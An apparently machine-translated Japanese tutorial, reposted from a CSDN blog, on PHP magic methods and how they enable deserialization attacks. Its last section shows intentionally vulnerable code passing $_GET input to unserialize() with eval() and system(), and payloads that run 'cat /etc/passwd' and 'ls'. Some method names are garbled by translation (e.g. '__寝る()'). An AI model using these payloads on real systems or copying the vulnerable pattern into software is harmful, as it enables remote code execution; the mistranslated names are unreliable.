PHP デシリアライゼーションの脆弱性の魔法の方法

1.魔法の方法

PHP マジック メソッドは、(Magic Methods)オブジェクトの特別な動作を実装したり追加機能を提供したりするために、特定の状況下で自動的に呼び出される特別なメソッドのセットです。これらのメソッドの名前はすべて、 、 などのように、二重アンダースコアで始まり、終わり__construct()ます__toString()

マジック メソッドは、オブジェクトの初期化、属性アクセス制御、オブジェクト変換などの特別な動作を実現するのに役立ちます。マジックメソッドを適切に活用することで、PHP オブジェクトの柔軟性と機能性を向上させることができます。

2. PHPマジックメソッドの詳細説明

マジック メソッドを学ぶには、各マジック メソッドに精通する必要があります触发时机。これは、PHP デシリアライゼーションの脆弱性を学ぶ上で最も重要なポイントです。マジック メソッドをいつトリガーするかがわからない場合、それを構築することはできません。第 2 にPOP链、それぞれのマジックメソッドを理解する必要があるため、パラメータリストや戻り値の型、PHP のマジックメソッドについて詳しく紹介します。
ここに画像の説明を挿入

魔法の方法 トリガータイミング
__construct() クラスのコンストラクター。クラスがオブジェクトをインスタンス化するときに自動的に呼び出されます。
__destruct() クラスのデストラクター。オブジェクトが破棄される前に自動的に呼び出されます。
__寝る() オブジェクトがシリアル化される前に (serialize() 関数を使用して) 自動的に呼び出され、このメソッドでシリアル化する必要があるプロパティを指定し、オブジェクト内でシリアル化する必要があるすべての変数名を含む配列を返すことができます。
__起きろ() オブジェクトが逆シリアル化される前に (unserialize() 関数を使用して) 自動的に呼び出され、このメソッドでオブジェクトの状態を再初期化できます。
__set($property, $value) オブジェクトの存在しない、またはアクセスできない (プライベートに変更された) プロパティを割り当てるときに自動的に呼び出され、プロパティ名とプロパティ値をパラメータとして渡します。
__get($property) オブジェクトの存在しないプロパティまたはアクセスできないプロパティにアクセスすると、プロパティ名を引数として渡して自動的に呼び出されます。
__isset($property) isset() 関数または empty() 関数がオブジェクトの存在しないプロパティまたはアクセスできないプロパティに対して使用されるときに自動的に呼び出され、プロパティ名を引数として渡します。
__unset($property) unset() 関数がオブジェクトの存在しないプロパティまたはアクセスできないプロパティに対して使用されるときに自動的に呼び出され、プロパティ名を引数として渡します。
__call($method, $arguments) 存在しない、または非表示のメンバー メソッドを呼び出す場合、PHP は最初に __call() メソッドを呼び出して、メソッド名とそのパラメーターを保存します。
__callStatic($method, $arguments) 静的メソッドに存在しないメソッドを呼び出すときに、メソッド名とパラメータ配列をパラメータとして渡して自動的に呼び出されます。
__toString() echo または print 出力オブジェクトを使用してオブジェクトを文字列形式に変換する場合、 __toString() メソッドが呼び出されます。
__invoke() オブジェクトを関数として呼び出すときに自動的に呼び出されます。
__クローン() clone キーワードを使用してオブジェクトのクローンが作成されると、自動的に呼び出されます。
__set_state($array) var_export() を使用してクラスがエクスポートされるときに自動的に呼び出され、クラスの静的メンバーを含む配列が返されます。
__デバッグ情報() var_dump() を使用してオブジェクトが出力されるときに自動的に呼び出され、オブジェクトのデバッグ情報をカスタマイズするために使用されます。

1、__construct()

コンストラクターは__construct()、オブジェクトをインスタンス化するときに、最初にメソッドを自動的に実行します。

<?php
class User {
    
    
    public $username;
    public function __construct($username) {
    
    
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");    //实例化对象时触发构造函数__construct()
$ser = serialize($test);       //在序列化和反序列化过程中不会触发构造函数
unserialize($ser);
?>

2、__destruct()

Destructor __destruct(): オブジェクトへのすべての参照が削除されるか、オブジェクトが明示的に破棄されるときに実行されるマジック メソッド

<?php
class User {
    
    
    public function __destruct()
    {
    
    
        echo "触发了析构函数1次";
    }
}
$test = new User("benben");  //实例化对象结束后,代码运行完会销毁,触发析构函数_destruct()
$ser = serialize($test);     //在序列化过程中不会触发
unserialize($ser);           //在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()
?>

上記のコードは、デストラクターを合計 2 回トリガーします。1 回目は、オブジェクトがインスタンス化された後です。コードの実行後、オブジェクトが破棄され、デストラクターがトリガーされます。2 回目は、逆シリアル化プロセス中にトリガーされ_destruct()、逆シリアル化は取得されます。これはオブジェクトであり、使用後に破棄され、デストラクターがトリガーされます。_destruct()

3、__sleep()

シリアル化するときに、serialize()関数はクラスにマジック メソッドが存在するかどうかを確認します__sleep()存在する場合は、このメソッドが最初に呼び出されます。このメソッドでシリアル化する必要があるプロパティを指定し、オブジェクト内でシリアル化する必要があるすべての変数名を含む配列を返すことができます。次に、シリアル化操作が実行されます。

この関数はオブジェクトをクリーンアップするために使用でき、シリアル化する必要があるオブジェクト内のすべての変数の名前を含む配列を返します。メソッドが何も返さない場合はNULLシリアル化され、E_NOTICEレベル エラーが発生します。

<?php
class User {
    
    
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password) {
    
    
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
    
    
        return array('username', 'nickname');      //sleep执行返回需要序列化的属性名,过滤掉password变量
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);      //serialize()只序列化sleep返回的变量,序列化之后的字符串:O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
//
?>

4、__weakup()

逆シリアル化するときに、unserialize()関数は__wakeup()メソッドが存在するかどうかを確認します。存在する場合、__wakeup()メソッドが最初に呼び出されます。このメソッドではオブジェクトの状態を再初期化できます。

<?php
class User {
    
    
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
    
    
        $this->password = $this->username;       //反序列化之前触发_wakeup(),给password赋值
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';    // 字符串中并没有password
var_dump(unserialize($user_ser));   // object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL } 
?>

__wakeup()逆シリアル化のunserialize()前に呼び出される
__destruct()逆シリアル化のunserialize()後に呼び出される

5、__toString()

オブジェクトを使用echoまたはprint出力して、オブジェクトを文字列に変換する場合、または「オブジェクト」を「文字列」に連結する場合、メソッドが__toString()呼び出されます。

<?php
class User {
    
    
    var $benben = "this is test!!";
    public function __toString()
    {
    
    
        return '格式不对,输出不了!';
    }
}
$test = new User() ;     // 把类User实体化并赋值给$test,此时$test是个对象
print_r($test);          // 打印输出对象可以使用print_r或者var_dump,该对象输出后为:User Object(    [benben] => this is test!!)
echo $test;              // 如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发toString()
?>

6、__invoke()

関数は、オブジェクトが関数として呼び出されたときにトリガーされます__invoke()

<?php
class User {
    
    
    var $benben = "this is test!!";
         public function __invoke()
         {
    
    
             echo  '它不是个函数!';
          }
}
$test = new User() ;     //把类User实例化为对象并赋值给$test
echo $test ->benben;     //正常输出对象里的值benben
$test();                 //加()是把test当成函数test()来调用,此时触发_invoke()
?>

7、__call()

存在しない、または非表示のメンバー メソッドを呼び出す場合、PHP は最初に__call()メソッドを呼び出して、メソッド名とそのパラメーターを保存します。

<?php
class User {
    
    
    public function __call($arg1,$arg2)
    {
    
    
        echo "$arg1,$arg2[0]";
    }
}
$test = new User() ;
$test -> callxxx('a','b','c'); //调用的方法callxxx()不存在,触发魔术方法call(),传参(callxxx,a);$arg1:调用的不存在的方法的名称;$arg2:调用的不存在的方法的参数;
?>

__call(string $function_name, array $arguments)このメソッドには 2 つのパラメータがあり、最初のパラメータは$function_name存在しないメソッドの名前を自動的に受け取り、2 番目のパラメータ$argumentsは存在しないメソッドの複数のパラメータを配列の形式で受け取ります。

8、__callStatic()

存在しない静的メソッドまたは非表示の静的メソッドを呼び出す場合、__callStatic()そのメソッドは自動的に呼び出され、メソッド名とパラメータの配列がパラメータとして渡されます。

<?php
class User {
    
    
    public static function __callStatic($arg1,$arg2)
    {
    
    
        echo "$arg1,$arg2[0]";
    }
}
$test = new User() ;
$test::callxxx('a');        //静态调用使用"::",静态调用方法callxxx(),由于其不存在,所以触发__callStatic,传参(callxxx,a),输出:callxxx,a
?>

9、__set()

__set($name, $value)関数。privateオブジェクトの存在しない、またはアクセスできない (装飾された) プロパティに値を割り当てると、PHP は__set()メソッドを実行します。__set()メソッドには$name変数名と$value変数値を表す 2 つのパラメータが含まれており、この 2 つのパラメータは省略できません。

<?php
class User {
    
    
    public $var1;
    public function __set($arg1 ,$arg2)
    {
    
    
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test->var2=1;        //给不存在的成员属性var2赋值为1,自动触发__set()方法;如果有__get(),先调用__get(),再调用__set(),输出:var2,1
?>

10、__get()

__get($name)関数、プログラムが未定義または非表示のメンバー変数にアクセスすると、PHP は__get()変数の値を読み取るメソッドを実行します。__get()このメソッドは、呼び出す変数の名前を表す 1 つのパラメーターを受け取ります。

<?php
class User {
    
    
    public $var1;
    public function __get($arg1)
    {
    
    
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;         //调用的成员属性var2不存在,触发__get(),把不存在的属性的名称var2赋值给$arg1,输出:var2
?>

11、__isset()

オブジェクト の存在しないプロパティまたはアクセスできないプロパティに対してisset()or関数が使用され、プロパティ名を引数として渡すと、empty()自動的に呼び出されます。

<?php
    class User {
    
    
        private $var;
        public function __isset($arg1)
        {
    
    
            echo  $arg1;
        }
    }
$test = new User() ;
isset($test->var);       // 调用的成员属性var不可访问,并对其使用isset()函数或empty()函数,触发__isset(),输出:var
?>

12、__unset()

オブジェクトの存在しないプロパティまたはアクセスできないプロパティに対して関数を使用するときにunset()、プロパティ名を引数として渡して自動的に呼び出されます。

<?php
    class User {
    
    
        private $var;
        public function __unset($arg1 )
        {
    
    
            echo  $arg1;
        }
    }
$test = new User() ;
unset($test->var);        // 调用的成员属性var不可访问,并对其使用unset()函数,触发__unset(),输出:var
?>

13、__クローン()

clone キーワードを使用してオブジェクトのクローンが作成されると、自動的に呼び出されます。

<?php
    class User {
    
    
        private $var;
        public function __clone( )
        {
    
    
            echo  "__clone test";
        }
    }
$test = new User() ;
$newclass = clone($test)        // __clone test
?>

3. マジックメソッドの悪用例

1. __destruct() の脆弱性の悪用

<?php
class User {
    
    
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
    
    
        eval($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);       //反序列化触发_destruct(),destruct()执行eval(),eval()触发代码
?>

__destruct()上記のコードが逆シリアル化された後、コマンド実行機能を持つマジック メソッドがトリガーされますeval()が、逆シリアル化によって生成されたオブジェクト内の値は逆シリアル化内の値によって提供されるため、元の事前定義された値とは異なります。 class Irrelevant であるため、シリアル化された文字列の値を再割り当てします$cmd(例: ) 。これにより、関数が$cmd="system('cat /etc/passwd');"
逆シリアル化の後に実行され、コードの実行がトリガーされます。eval()これは、逆シリアル化の脆弱性を悪用する最も簡単な方法であり、コードの実行をトリガーするために逆シリアル化を使用する方法を理解することを目的としています。

// payload:
?benben=O:4:"User":1:{
    
    s:3:"cmd";s:26:"system('cat /etc/passwd');";}

ここに画像の説明を挿入

2. __wakeup() エクスプロイト

<?php
class User {
    
    
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
    
    
        system($this->username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>                     

前の質問の悪用方法と同様に__destruct()、逆シリアル化の前にトリガーされます__wakeup()。この関数にはシステム コマンドを実行する関数がありsystem()、オブジェクトのプロパティを実行するため、usernameシリアル化された文字列のusername値を次のように設定できます。システムコマンドです

// payload:
?benben=O:4:"User":1:{
    
    s:8:"username";s:2:"ls";} 

ここに画像の説明を挿入

上記の知識の概要は、Orange Technology の PHP デシリアライゼーションの脆弱性学習と私自身の理解を組み合わせたものです。

おすすめ

転載: blog.csdn.net/weixin_45954730/article/details/131861020